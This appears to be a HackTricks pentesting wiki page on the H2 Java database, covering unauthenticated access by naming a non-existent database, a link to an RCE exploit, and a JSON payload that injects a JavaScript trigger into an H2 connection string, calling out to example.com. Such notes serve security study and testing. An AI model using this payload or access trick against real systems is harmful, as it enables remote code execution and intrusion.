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69 lines
3.6 KiB
Markdown
69 lines
3.6 KiB
Markdown
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# H2 - Java SQL database
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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{% embed url="https://websec.nl/" %}
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Official page: [https://www.h2database.com/html/main.html](https://www.h2database.com/html/main.html)
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## Access
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You can indicate a **non-existent name a of database** in order to **create a new database without valid credentials** (**unauthenticated**):
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.png>)
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Or if you know that for example a **mysql is running** and you know the **database name** and the **credentials** for that database, you can just access it:
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.png>)
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_**Trick from box Hawk of HTB.**_
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## **RCE**
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Having access to communicate with the H2 database check this exploit to get RCE on it: [https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed](https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed)
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## H2 SQL Injection to RCE
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In [**this post**](https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/) a payload is explained to get **RCE via a H2 database** abusing a **SQL Injection**.
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```json
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[...]
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"details":
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{
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"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\nnew java.net.URL('https://example.com/pwn134').openConnection().getContentLength()\n$$--=x\\;",
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"advanced-options": false,
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"ssl": true
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},
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[...]
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```
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{% embed url="https://websec.nl/" %}
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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